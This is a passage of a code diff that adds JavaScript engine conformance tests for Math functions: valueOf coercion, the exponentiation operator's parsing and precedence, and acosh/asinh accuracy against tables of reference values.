+new TestCase( "Math.exp(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.exp(Number.POSITIVE_INFINITY) );
+
+new TestCase( "Math.exp(-Infinity)",
+ 0,
+ Math.exp(Number.NEGATIVE_INFINITY) );
+
+test();
diff --git a/js/src/tests/non262/Math/20.2.2.ToNumber.js b/js/src/tests/non262/Math/20.2.2.ToNumber.js
new file mode 100644
index 0000000000..de1f4e612c
--- /dev/null
+++ b/js/src/tests/non262/Math/20.2.2.ToNumber.js
@@ -0,0 +1,112 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * ECMA-262 6th Edition / Draft November 8, 2013
+ *
+ * 20.2.2 Function Properties of the Math Object
+ */
+
+/*
+ * This custom object will allow us to check if valueOf() is called
+ */
+
+TestNumber.prototype = new Number();
+
+function TestNumber(value) {
+ this.value = value;
+ this.valueOfCalled = false;
+}
+
+TestNumber.prototype = {
+ valueOf: function() {
+ this.valueOfCalled = true;
+ return this.value;
+ }
+}
+
+// Verify that each TestNumber's flag is set after calling Math func
+function test(func /*, args */) {
+ var args = Array.prototype.slice.call(arguments, 1);
+ func.apply(null, args);
+
+ for (var i = 0; i < args.length; ++i)
+ assertEq(args[i].valueOfCalled, true);
+}
+
+// Note that we are not testing these functions' return values
+// We only test whether valueOf() is called for each argument
+
+// 1. Test Math.atan2()
+var x = new TestNumber(1);
+test(Math.atan2, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.atan2, y, x);
+
+// Remove comment block once patch for bug 896264 is approved
+/*
+// 2. Test Math.hypot()
+var x = new TestNumber(1);
+test(Math.hypot, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.hypot, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.hypot, x, y, z);
+*/
+
+// Remove comment block once patch for bug 808148 is approved
+/*
+// 3. Test Math.imul()
+var x = new TestNumber(1);
+test(Math.imul, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.imul, x, y);
+*/
+
+// 4. Test Math.max()
+var x = new TestNumber(1);
+test(Math.max, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.max, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.max, x, y, z);
+
+// 5. Test Math.min()
+var x = new TestNumber(1);
+test(Math.min, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.min, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.min, x, y, z);
+
+// 6. Test Math.pow()
+var x = new TestNumber(1);
+test(Math.pow, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.pow, x, y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/Pow.js b/js/src/tests/non262/Math/Pow.js
new file mode 100644
index 0000000000..281c716a76
--- /dev/null
+++ b/js/src/tests/non262/Math/Pow.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135708;
+var summary = "Implement the exponentiation operator";
+
+print(BUGNUMBER + ": " + summary);
+
+// Constant folding
+assertEq(2 ** 2 ** 3, 256);
+assertEq(1 ** 1 ** 4, 1);
+
+// No folding
+var two = 2;
+var three = 3;
+var four = 4;
+assertEq(two ** two ** three, 256);
+assertEq(1 ** 1 ** four, 1);
+
+// Operator precedence
+assertEq(2 ** 3 / 2 ** 3, 1);
+assertEq(2 ** 3 * 2 ** 3, 64);
+assertEq(2 ** 3 + 2 ** 3, 16);
+
+// With parentheses
+assertEq((2 ** 3) ** 2, 64);
+assertEq(2 ** (3 ** 2), 512);
+
+// Assignment operator
+var x = 2;
+assertEq(x **= 2 ** 3, 256);
+assertEq(x, 256);
+
+// Loop to test baseline and ION
+for (var i=0; i<10000; i++) {
+ assertEq((2 ** 3) ** 2, 64);
+ assertEq(2 ** (3 ** 2), 512);
+ var x = 2;
+ assertEq(x **= 2 ** 3, 256);
+ assertEq(x, 256);
+}
+
+// Comments should not be confused with exp operator
+var a, c, e;
+a = c = e = 2;
+assertEq(a**/**b**/c/**/**/**d**/e, 16);
+
+// Two stars separated should not parse as exp operator
+assertThrowsInstanceOf(function() { return Reflect.parse("2 * * 3"); }, SyntaxError);
+
+// Left-hand side expression must not be a unary expression.
+for (let unaryOp of ["delete", "typeof", "void", "+", "-", "!", "~"]) {
+ assertThrowsInstanceOf(() => eval(unaryOp + " a ** 2"), SyntaxError);
+ assertThrowsInstanceOf(() => eval(unaryOp + " " + unaryOp + " a ** 2"), SyntaxError);
+}
+
+// Test the other |delete| operators (DELETENAME and DELETEEXPR are already tested above).
+assertThrowsInstanceOf(() => eval("delete a.name ** 2"), SyntaxError);
+assertThrowsInstanceOf(() => eval("delete a[0] ** 2"), SyntaxError);
+
+// Unary expression lhs is valid if parenthesized.
+for (let unaryOp of ["delete", "void", "+", "-", "!", "~"]) {
+ let a = 0;
+ eval("(" + unaryOp + " a) ** 2");
+ eval("(" + unaryOp + " " + unaryOp + " a) ** 2");
+}
+{
+ let a = {};
+ (delete a.name) ** 2;
+ (delete a[0]) ** 2;
+}
+
+// Check if error propagation works
+var thrower = {
+ get value() {
+ throw new Error();
+ }
+};
+
+assertThrowsInstanceOf(function() { return thrower.value ** 2; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value ** 2; }, Error);
+
+var convertibleToPrimitive = {
+ valueOf: function() {
+ throw new Error("oops");
+ }
+};
+
+assertThrowsInstanceOf(function() { return convertibleToPrimitive ** 3; }, Error);
+assertThrowsInstanceOf(function() { return 3 ** convertibleToPrimitive; }, Error);
+
+assertEq(NaN ** 2, NaN);
+assertEq(2 ** NaN, NaN);
+assertEq(2 ** "3", 8);
+assertEq("2" ** 3, 8);
+
+// Reflect.parse generates a correct parse tree for simplest case
+var parseTree = Reflect.parse("a ** b");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.operator, "**");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.name, "b");
+
+// Reflect.parse generates a tree following the right-associativity rule
+var parseTree = Reflect.parse("a ** b ** c");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.operator, "**");
+assertEq(parseTree.body[0].expression.right.left.name, "b");
+assertEq(parseTree.body[0].expression.right.right.name, "c");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/acosh-approx.js b/js/src/tests/non262/Math/acosh-approx.js
new file mode 100644
index 0000000000..3854a5909d
--- /dev/null
+++ b/js/src/tests/non262/Math/acosh-approx.js
@@ -0,0 +1,283 @@
+var cosh_data = [
+ [1.0000014305114746, 0.0016914556651292944],
+ [1.0000019073486328, 0.001953124689559275],
+ [1.000007152557373, 0.003782208044661295],
+ [1.000013828277588, 0.005258943946801101],
+ [1.0000171661376953, 0.005859366618129203],
+ [1.0000600814819336, 0.010961831992188852],
+ [1.0001168251037598, 0.015285472131830425],
+ [1.0001487731933594, 0.017249319093529877],
+ [1.0003981590270996, 0.028218171738655373],
+ [1.000638484954834, 0.03573281468231457],
+ [1.0010714530944824, 0.046287402472878776],
+ [1.0030217170715332, 0.07771996527168971],
+ [1.0049939155578613, 0.0998975930860278],
+ [1.0092840194702148, 0.13615938768032465],
+ [1.024169921875, 0.21942279004958354],
+ [1.0622773170471191, 0.3511165938166055],
+ [1.1223440170288086, 0.48975026711288183],
+ [1.2495574951171875, 0.692556883708491],
+ [1.4912219047546387, 0.954530572221414],
+ [1.9838471412658691, 1.307581416910453],
+ [2.1576128005981445, 1.4035188779741334],
+ [2.406397819519043, 1.5250070845427517],
+ [3.386958122253418, 1.8905372013072799],
+ [4.451677322387695, 2.1735673399948254],
+ [6.9391326904296875, 2.625091127868242],
+ [7.756023406982422, 2.737434918695162],
+ [8.882369995117188, 2.8740317167801948],
+ [9.869171142578125, 2.97998639328949],
+ [16.848876953125, 3.516549380542481],
+ [16.88458251953125, 3.51867003468025],
+ [18.18859100341797, 3.593185165198829],
+ [18.82012176513672, 3.6273672142963385],
+ [19.184181213378906, 3.646553244410946],
+ [24.039520263671875, 3.872413451393967],
+ [26.556991577148438, 3.972085568933329],
+ [27.921104431152344, 4.022209178119238],
+ [32.314666748046875, 4.168428891496629],
+ [34.73008728027344, 4.240546229861005],
+ [36.51556396484375, 4.290698214968891],
+ [38.851287841796875, 4.352722738491574],
+ [49.46875, 4.594386162629449],
+ [49.67265319824219, 4.598500387004538],
+ [55.821014404296875, 4.7152173401856095],
+ [57.119781494140625, 4.73822104001982],
+ [60.37983703613281, 4.793733825338029],
+ [63.4661865234375, 4.8435923769530165],
+ [63.822418212890625, 4.849190310904695],
+ [64.36642456054688, 4.85767897228448],
+ [65.82318115234375, 4.880061548144127],
+ [68.60302734375, 4.921430721025434],
+ [70.173583984375, 4.94406835208057],
+ [71.80126953125, 4.967000841791218],
+ [75.40786743164062, 5.016014824864732],
+ [75.49771118164062, 5.017205657609766],
+ [78.06475830078125, 5.0506448716550825],
+ [79.64892578125, 5.0707363201405276],
+ [79.8707275390625, 5.073517411135063],
+ [82.14324951171875, 5.101574796209937],
+ [86.42214965820312, 5.152357710985635],
+ [87.75869750976562, 5.167705692500117],
+ [94.24942016601562, 5.2390637098028074],
+ [95.00259399414062, 5.247023676519904],
+ [96.06402587890625, 5.258134994273664],
+ [99.10101318359375, 5.289261389093961],
+ [104.82595825195312, 5.345425863147171],
+ [105.89431762695312, 5.3555664787245885],
+ [106.750244140625, 5.363617180711895],
+ [109.40167236328125, 5.388152468690488],
+ [111.29598999023438, 5.405320225963013],
+ [112.68215942382812, 5.417698597745429],
+ [115.84786987304688, 5.445406415908933],
+ [122.51895141601562, 5.501396249028249],
+ [126.29083251953125, 5.531718947357248],
+ [127.88677978515625, 5.544277233951787],
+ [128.29241943359375, 5.547444176085567],
+ [129.49658203125, 5.556786759298988],
+ [138.73651123046875, 5.625710723366437],
+ [139.18450927734375, 5.628934733085022],
+ [139.9705810546875, 5.634566685055491],
+ [143.6336669921875, 5.660401141376928],
+ [149.2176513671875, 5.698541939965668],
+ [150.61602783203125, 5.7078698961812995],
+ [151.65460205078125, 5.714741890601693],
+ [154.77532958984375, 5.735111323217677],
+ [158.9586181640625, 5.761781191641161],
+ [159.23260498046875, 5.763503378028959],
+ [166.89166259765625, 5.810483079631769],
+ [169.22418212890625, 5.824362807770767],
+ [170.85247802734375, 5.833939098607025],
+ [175.641845703125, 5.861586030831371],
+ [176.47808837890625, 5.866335876872544],
+ [177.0284423828125, 5.869449614294116],
+ [178.81622314453125, 5.879497954012966],
+ [181.28570556640625, 5.893213844044451],
+ [190.84246826171875, 5.944588630523773],
+ [191.39764404296875, 5.947493525920713],
+ [194.2606201171875, 5.962341215900494],
+ [194.89630126953125, 5.9656082276276],
+ [196.72125244140625, 5.9749284849312865],
+ [196.76788330078125, 5.975165500176202],
+ [198.0592041015625, 5.981706804024238],
+ [199.97052001953125, 5.991310884439669],
+ [202.70001220703125, 6.004868209578554],
+ [204.95684814453125, 6.0159406892865155],
+ [206.92059326171875, 6.025476453825986],
+ [211.4588623046875, 6.047172064627678],
+ [211.6217041015625, 6.0479418642231595],
+ [212.15936279296875, 6.050479329955437],
+ [219.93341064453125, 6.086466833749719],
+ [223.34747314453125, 6.101870903204913],
+ [228.56036376953125, 6.1249427443985525],
+ [229.53656005859375, 6.129204755426344],
+ [231.15753173828125, 6.136241935513706],
+ [235.22589111328125, 6.153688953514383],
+ [237.17108154296875, 6.1619244798633215],
+ [237.904541015625, 6.165012268502458],
+ [243.202392578125, 6.187036941752032],
+ [244.296875, 6.191527178125454],
+ [245.39239501953125, 6.196001570568187],
+ [245.80389404296875, 6.197677082130341],
+ [249.68365478515625, 6.2133379061260285],
+ [252.32763671875, 6.223871642756905],
+ [253.4725341796875, 6.228398760115369],
+ [264.1583251953125, 6.269692237869835],
+ [265.867919921875, 6.276143287577458],
+ [273.893798828125, 6.305884283737176],
+ [274.060546875, 6.306492908028797],
+ [274.06298828125, 6.3065018163217115],
+ [275.31201171875, 6.31104892482331],
+ [281.2171630859375, 6.3322712125431915],
+ [284.3428955078125, 6.343324976847916],
+ [284.8428955078125, 6.345081883725142],
+ [287.3035888671875, 6.353683609448096],
+ [290.8973388671875, 6.366114643735997],
+ [293.0467529296875, 6.373476431987165],
+ [293.048583984375, 6.3734826803404045],
+ [296.819091796875, 6.3862671775996915],
+ [297.6572265625, 6.389086936901673],
+ [308.40625, 6.424562459508495],
+ [316.5472412109375, 6.4506171773701535],
+ [320.2418212890625, 6.462221144761522],
+ [322.33642578125, 6.468740575092418],
+ [323.5101318359375, 6.472375224718483],
+ [327.8939208984375, 6.485834999462654],
+ [328.0833740234375, 6.486412623146554],
+ [328.214599609375, 6.486812521370483],
+ [332.13916015625, 6.498698952535687],
+ [339.6888427734375, 6.521175044233963],
+ [340.171630859375, 6.522595306993373],
+ [340.22998046875, 6.522766822935215],
+ [340.9984130859375, 6.52502285413445],
+ [347.719482421875, 6.5445411825986985],
+ [347.921142578125, 6.5451209675856825],
+ [349.8392333984375, 6.55061885367159],
+ [353.1812744140625, 6.560126626713879],
+ [353.3170166015625, 6.560510895819139],
+ [354.9730224609375, 6.565186990039135],
+ [355.6412353515625, 6.567067660815945],
+ [363.193603515625, 6.588081320423386],
+ [363.7503662109375, 6.5896131163651415],
+ [366.66650390625, 6.597598047275183],
+ [370.5828857421875, 6.608222493065004],
+ [371.822998046875, 6.611563301604297],
+ [375.8822021484375, 6.622421213257873],
+ [377.1107177734375, 6.625684248051368],
+ [377.588623046875, 6.626950731244344],
+ [378.8428955078125, 6.630267034079059],
+ [379.1123046875, 6.630977920761718],
+ [381.1038818359375, 6.636217452968849],
+ [382.1112060546875, 6.638857149899159],
+ [382.9927978515625, 6.641161660644278],
+ [387.1845703125, 6.652047018118426],
+ [389.669921875, 6.658445560711748],
+ [389.804443359375, 6.658790721334144],
+ [396.3114013671875, 6.675345858154136],
+ [397.005126953125, 6.677094789236718],
+ [397.1934814453125, 6.6775691166680895],
+ [397.8046875, 6.679106750673113],
+ [398.8426513671875, 6.681712590609845],
+ [399.1663818359375, 6.682523938576487],
+ [399.2547607421875, 6.68274532345516],
+ [400.33984375, 6.685459416477178],
+ [403.9578857421875, 6.694456277839498],
+ [404.279541015625, 6.6952522228540765],
+ [405.0574951171875, 6.6971746771142415],
+ [407.328125, 6.702764738337774],
+ [407.547119140625, 6.7033022311799595],
+ [410.5994873046875, 6.710763953621196],
+ [410.8016357421875, 6.711256159037373],
+ [411.129638671875, 6.712054288828399],
+ [411.9053955078125, 6.713939407502346],
+ [415.5833740234375, 6.722828986708716],
+ [417.669189453125, 6.727835453862132],
+ [420.517822265625, 6.734632628835641],
+ [424.3853759765625, 6.743787740494532],
+ [424.7154541015625, 6.744565219553757],
+ [436.3419189453125, 6.7715720212680655],
+ [438.501953125, 6.776510146304201],
+ [439.3369140625, 6.778412462065226],
+ [445.5606689453125, 6.79247934060035],
+ [452.9901123046875, 6.809016260337229],
+ [453.77490234375, 6.810747231716348],
+ [456.7745361328125, 6.817335895109251],
+ [457.9520263671875, 6.819910421197311],
+ [458.6795654296875, 6.821497844004013],
+ [460.5164794921875, 6.8254946428721475],
+ [461.8717041015625, 6.828433164406687],
+ [464.7025146484375, 6.834543470287694],
+ [467.0626220703125, 6.839609377592375],
+ [467.0712890625, 6.839627933844213],
+ [470.096923828125, 6.846084943645239],
+ [475.1607666015625, 6.856799276049143],
+ [477.5537109375, 6.861822721577315],
+ [478.626220703125, 6.864066049482581],
+ [478.7958984375, 6.864420497333681],
+ [479.6864013671875, 6.866278653973069],
+ [479.7867431640625, 6.866487814627139],
+ [479.9122314453125, 6.8667493311188395],
+ [482.4793701171875, 6.872084270243208],
+ [482.5181884765625, 6.872164723177875],
+ [483.8797607421875, 6.874982560453874],
+ [484.4649658203125, 6.876191234145179],
+ [485.3258056640625, 6.877966548833207],
+ [490.57373046875, 6.888721726428236],
+ [493.7423095703125, 6.89515989558997],
+ [494.272216796875, 6.896232568812718],
+ [496.44775390625, 6.900624415355815],
+ [497.0401611328125, 6.901816998553275],
+ [498.234130859375, 6.9042162822876465],
+ [665.0791015625, 7.193052598670793],
+ [1170.29150390625, 7.758155143419732],
+ [2058.7958984375, 8.323023697145112],
+ [5824.533203125, 9.36298131161099],
+ [9114.30859375, 9.810748008110926],
+ [31388.40625, 11.047341056314202],
+ [53732.765625, 11.584925435512535],
+ [117455.09375, 12.366958539207397],
+ [246210.625, 13.107089828327874],
+ [513670.125, 13.84248373881162],
+ [788353.25, 14.27084873575108],
+ [1736171, 15.060339852215408],
+ [3770530, 15.835873313657556],
+ [4344090, 15.977474039173265],
+ [11419360, 16.943967899150145],
+ [31023240, 17.943394339560967],
+ [40665424, 18.214035936745432],
+ [129788064, 19.374560581709215],
+ [225668224, 19.927723623778547],
+ [450631936, 20.619308638400597],
+ [750941952, 21.129986093026698],
+ [1887358976, 22.05159150215413],
+ [3738011648, 22.734966842639743],
+ [7486695424, 23.42954051928097],
+ [12668080128, 23.955498471391667],
+ [23918272512, 24.591055724582848],
+ [48862560256, 25.305424481799395],
+ [113763549184, 26.150535181949436],
+ [161334755328, 26.499894449532565],
+ [321933279232, 27.19075733422632],
+ [715734122496, 27.989721778208146],
+ [1875817529344, 28.953212876533797]
+];
+
+var sloppy_tolerance = 8; // FIXME
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.acosh(x), y, sloppy_tolerance);
+
+assertNear(Math.acosh(1e300), 691.4686750787737, sloppy_tolerance);
+assertNear(Math.acosh(1.0000000001), 0.000014142136208675862, sloppy_tolerance);
+
+for (var i = 0; i <= 100; i++) {
+ var x = (i - 50) / 5;
+ var y = Math.cosh(x);
+ var z = Math.acosh(y);
+ assertNear(z, Math.abs(x), sloppy_tolerance);
+}
+
+for (var i = 1; i < 20; i++)
+ assertNear(Math.acosh(Math.cosh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/acosh-exact.js b/js/src/tests/non262/Math/acosh-exact.js
new file mode 100644
index 0000000000..ededaa48e1
--- /dev/null
+++ b/js/src/tests/non262/Math/acosh-exact.js
@@ -0,0 +1,26 @@
+// Properties of Math.acosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.acosh(NaN), NaN);
+
+// If x is less than 1, the result is NaN.
+assertEq(Math.acosh(ONE_MINUS_EPSILON), NaN);
+assertEq(Math.acosh(Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(+0), NaN);
+assertEq(Math.acosh(-0), NaN);
+assertEq(Math.acosh(-Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(-1), NaN);
+assertEq(Math.acosh(-Number.MAX_VALUE), NaN);
+assertEq(Math.acosh(-Infinity), NaN);
+
+for (var i = -20; i < 1; i++)
+ assertEq(Math.acosh(i), NaN);
+
+// If x is 1, the result is +0.
+assertEq(Math.acosh(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.acosh(Number.POSITIVE_INFINITY), Number.POSITIVE_INFINITY);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/asinh-approx.js b/js/src/tests/non262/Math/asinh-approx.js
new file mode 100644
index 0000000000..354454fb40
--- /dev/null
+++ b/js/src/tests/non262/Math/asinh-approx.js
@@ -0,0 +1,303 @@
+var sinh_data = [
+ [-497.181640625, -6.902103625349695],
+ [-495.216552734375, -6.898143347143859],
+ [-488.0980224609375, -6.883664481302669],
+ [-486.4609375, -6.880304842490273],
+ [-482.2261962890625, -6.871561546509046],
+ [-468.167236328125, -6.841973895837549],
+ [-465.553955078125, -6.836376331805493],
+ [-464.288330078125, -6.833654100575195],
+ [-463.558837890625, -6.8320816635009045],
+ [-453.82861328125, -6.8108680173663085],
+ [-448.7835693359375, -6.799689165151487],
+ [-446.0499267578125, -6.793579326246197],
+ [-432.4046630859375, -6.762510387544996],
+ [-424.145751953125, -6.743225720989222],
+ [-402.8682861328125, -6.691758395994307],
+ [-402.4595947265625, -6.690743430063694],
+ [-390.1383056640625, -6.6596501292114505],
+ [-387.5355224609375, -6.652956360641761],
+ [-381.0023193359375, -6.635954365364267],
+ [-374.8172607421875, -6.619587562578274],
+ [-374.1033935546875, -6.617681179427804],
+ [-373.01318359375, -6.614762741096185],
+ [-370.0938720703125, -6.60690568753706],
+ [-364.5230712890625, -6.591738907156094],
+ [-361.3756103515625, -6.583066984213974],
+ [-358.1136474609375, -6.573999516974134],
+ [-350.8861083984375, -6.553610904389896],
+ [-350.7060546875, -6.553097634736138],
+ [-345.5616455078125, -6.538320325468202],
+ [-342.386962890625, -6.529090881007076],
+ [-341.9425048828125, -6.527791927233787],
+ [-337.3883056640625, -6.514383886150781],
+ [-328.8133544921875, -6.488639771044976],
+ [-326.1348876953125, -6.480460592697477],
+ [-313.12744140625, -6.439759999015992],
+ [-311.6180419921875, -6.434927968512049],
+ [-303.40478515625, -6.4082177348965725],
+ [-291.9320068359375, -6.369671035834965],
+ [-289.791015625, -6.362310184909175],
+ [-288.07568359375, -6.356373428913315],
+ [-282.76220703125, -6.337756593913614],
+ [-278.9659423828125, -6.32424009706147],
+ [-276.1881103515625, -6.314232650754295],
+ [-269.843994140625, -6.290994606392703],
+ [-256.47509765625, -6.240182555852785],
+ [-248.91619873046875, -6.2102675039793604],
+ [-245.71783447265625, -6.197335184435549],
+ [-244.9049072265625, -6.194021350132335],
+ [-242.49176025390625, -6.184119163536406],
+ [-223.97491455078125, -6.104686221071835],
+ [-223.0770263671875, -6.100669325836893],
+ [-221.50177001953125, -6.093582856519022],
+ [-214.1610107421875, -6.0598807500687935],
+ [-202.9705810546875, -6.0062142965262515],
+ [-200.1683349609375, -5.9923121073369945],
+ [-198.0869140625, -5.981859446096083],
+ [-191.8330078125, -5.9497792165852905],
+ [-183.4495849609375, -5.90509449745879],
+ [-182.9005126953125, -5.902097012275789],
+ [-167.5517578125, -5.8144483910067954],
+ [-162.87738037109375, -5.786154254111214],
+ [-159.6142578125, -5.765917008989405],
+ [-150.01629638671875, -5.703902219845274],
+ [-148.34051513671875, -5.6926689504460395],
+ [-147.23760986328125, -5.685206387751923],
+ [-143.65484619140625, -5.660572815631807],
+ [-138.70599365234375, -5.625516713960633],
+ [-119.55416870117188, -5.476934234171879],
+ [-118.44155883789062, -5.467584665632571],
+ [-112.7041015625, -5.417932675603434],
+ [-111.43020629882812, -5.406565756574079],
+ [-107.77297973632812, -5.373195678988387],
+ [-107.6795654296875, -5.3723285712183735],
+ [-105.091796875, -5.348004040102253],
+ [-101.261474609375, -5.31087758970896],
+ [-95.79150390625, -5.255348419702703],
+ [-91.26885986328125, -5.206986845736275],
+ [-87.33349609375, -5.162914035396619],
+ [-78.23873901367188, -5.052952927749896],
+ [-77.912353515625, -5.048772883924985],
+ [-76.83489990234375, -5.034848487644809],
+ [-61.255645751953125, -4.808269821238499],
+ [-54.41380310058594, -4.689849459883311],
+ [-43.967193603515625, -4.476720236388958],
+ [-42.01084899902344, -4.431216695067421],
+ [-30.609375, -4.114720236218123],
+ [-26.711166381835938, -3.9785790831656023],
+ [-25.241317749023438, -3.9220215830953484],
+ [-14.624359130859375, -3.3770026324620295],
+ [-12.431087493896484, -3.214961448471211],
+ [-10.235607147216797, -3.021397455139021],
+ [-9.41094970703125, -2.937831931335705],
+ [-1.635939121246338, -1.267878515574959],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.305032609228874e-8],
+ [5.9392490925347374e-8, 5.939249092534734e-8],
+ [1.166764889148908e-7, 1.1667648891489053e-7],
+ [2.3799674409019644e-7, 2.379967440901942e-7],
+ [4.684659415943315e-7, 4.6846594159431437e-7],
+ [9.382699772686465e-7, 9.382699772685088e-7],
+ [0.00000110398559627356, 0.0000011039855962733358],
+ [0.0000032917760108830407, 0.000003291776010877096],
+ [0.00000751721381675452, 0.000007517213816683722],
+ [0.000015114666894078255, 0.000015114666893502755],
+ [0.00002986399340443313, 0.00002986399339999406],
+ [0.00003387028118595481, 0.000033870281179478836],
+ [0.00009066011989489198, 0.00009066011977069884],
+ [0.00021949532674625516, 0.00021949532498377364],
+ [0.00043952150736004114, 0.00043952149320897676],
+ [0.0006333151832222939, 0.0006333151408864353],
+ [0.001115123275667429, 0.0011151230445582744],
+ [0.001962467096745968, 0.0019624658370807177],
+ [0.005553754046559334, 0.005553725496786973],
+ [0.008691128343343735, 0.008691018931968294],
+ [0.02993336319923401, 0.02992889492062484],
+ [0.05124260485172272, 0.05122020579778827],
+ [0.11201295256614685, 0.1117800293787828],
+ [0.23480379581451416, 0.23269806521543376],
+ [0.4898730516433716, 0.4721357117742938],
+ [0.7518312931060791, 0.694611571189336],
+ [1.655740737915039, 1.2781607348262256],
+ [3.5958566665649414, 1.9917262343245115],
+ [3.662705421447754, 2.009484184971722],
+ [4.142845153808594, 2.128787712416205],
+ [5.957065582275391, 2.4846967934155475],
+ [10.890350341796875, 3.083125584533294],
+ [27.3714599609375, 4.002981567623351],
+ [29.58606719970703, 4.080736210902826],
+ [30.79753875732422, 4.120845430011113],
+ [38.78157043457031, 4.351258506393416],
+ [46.88148498535156, 4.540883728536112],
+ [47.21551513671875, 4.547981853382592],
+ [47.2205810546875, 4.5480891170767],
+ [49.72361755371094, 4.599728302509061],
+ [61.557464599609375, 4.8131842711857535],
+ [67.82162475585938, 4.910082619934558],
+ [68.82363891601562, 4.924747230639767],
+ [73.75466918945312, 4.993937439635391],
+ [80.95669555664062, 5.087099712053554],
+ [85.26406860351562, 5.1389346970196295],
+ [85.2677001953125, 5.138977285472121],
+ [92.8238525390625, 5.223879832616765],
+ [94.50357055664062, 5.241812789460327],
+ [116.044677734375, 5.447141014648796],
+ [123.77554321289062, 5.511633288238573],
+ [132.3592529296875, 5.578681289305598],
+ [139.7633056640625, 5.633110296634631],
+ [143.9609375, 5.662701238627725],
+ [146.31298828125, 5.678906941005323],
+ [155.0980224609375, 5.737214893086866],
+ [155.47784423828125, 5.739660763047893],
+ [155.74066162109375, 5.741349685869528],
+ [163.60546875, 5.790614371552514],
+ [178.735107421875, 5.879059869096351],
+ [179.70269775390625, 5.884458728291027],
+ [179.81976318359375, 5.885109945587401],
+ [181.3594970703125, 5.893636014368936],
+ [194.82861328125, 5.965274032538233],
+ [195.23284912109375, 5.967346683696556],
+ [199.07666015625, 5.986843466070591],
+ [205.77423095703125, 6.019932686217942],
+ [206.04608154296875, 6.021252909681261],
+ [209.36480712890625, 6.037231102920489],
+ [210.703857421875, 6.043606439928324],
+ [215.2139892578125, 6.06478541011501],
+ [225.83892822265625, 6.112974120371601],
+ [226.95465087890625, 6.117902255760311],
+ [232.79864501953125, 6.1433256889594094],
+ [240.647216796875, 6.176483527820343],
+ [243.1324462890625, 6.186757751007361],
+ [251.26702880859375, 6.219667373726848],
+ [253.72906494140625, 6.229418088083555],
+ [254.6866455078125, 6.233184983047428],
+ [257.2001953125, 6.243005711460192],
+ [257.7401123046875, 6.245102704489327],
+ [261.731201171875, 6.260468857392134],
+ [263.75, 6.268152459140511],
+ [265.5167236328125, 6.2748285545831655],
+ [273.9171142578125, 6.305976070434008],
+ [278.897705078125, 6.32399546069982],
+ [279.167236328125, 6.324961403980197],
+ [292.207275390625, 6.370613506132747],
+ [293.5975341796875, 6.375359978930309],
+ [293.9749755859375, 6.3766447200146],
+ [295.1998291015625, 6.380802563199264],
+ [297.2799072265625, 6.387824152942429],
+ [297.9285888671875, 6.390003820200831],
+ [298.1058349609375, 6.3905985680679],
+ [300.2803955078125, 6.397866642974941],
+ [307.531005859375, 6.421725738171608],
+ [308.1754150390625, 6.423818963102848],
+ [309.7344970703125, 6.428865255911759],
+ [314.2847900390625, 6.443449261058927],
+ [314.7236328125, 6.444844602076255],
+ [320.8406982421875, 6.464094341970107],
+ [321.2459716796875, 6.465356699668166],
+ [321.9031982421875, 6.467400466944125],
+ [323.457763671875, 6.472218114936839],
+ [330.82861328125, 6.4947499213823265],
+ [335.008544921875, 6.507305446835735],
+ [340.7171630859375, 6.524202033435675],
+ [348.4677734375, 6.546694993078936],
+ [349.1292724609375, 6.548591493378012],
+ [372.4288330078125, 6.613194950203132],
+ [376.7574462890625, 6.6247505436339065],
+ [378.4306640625, 6.629181796246806],
+ [390.9031982421875, 6.6616087711302185],
+ [405.7918701171875, 6.698989091751707],
+ [407.3646240234375, 6.702857353572475],
+ [413.3758544921875, 6.717505881986416],
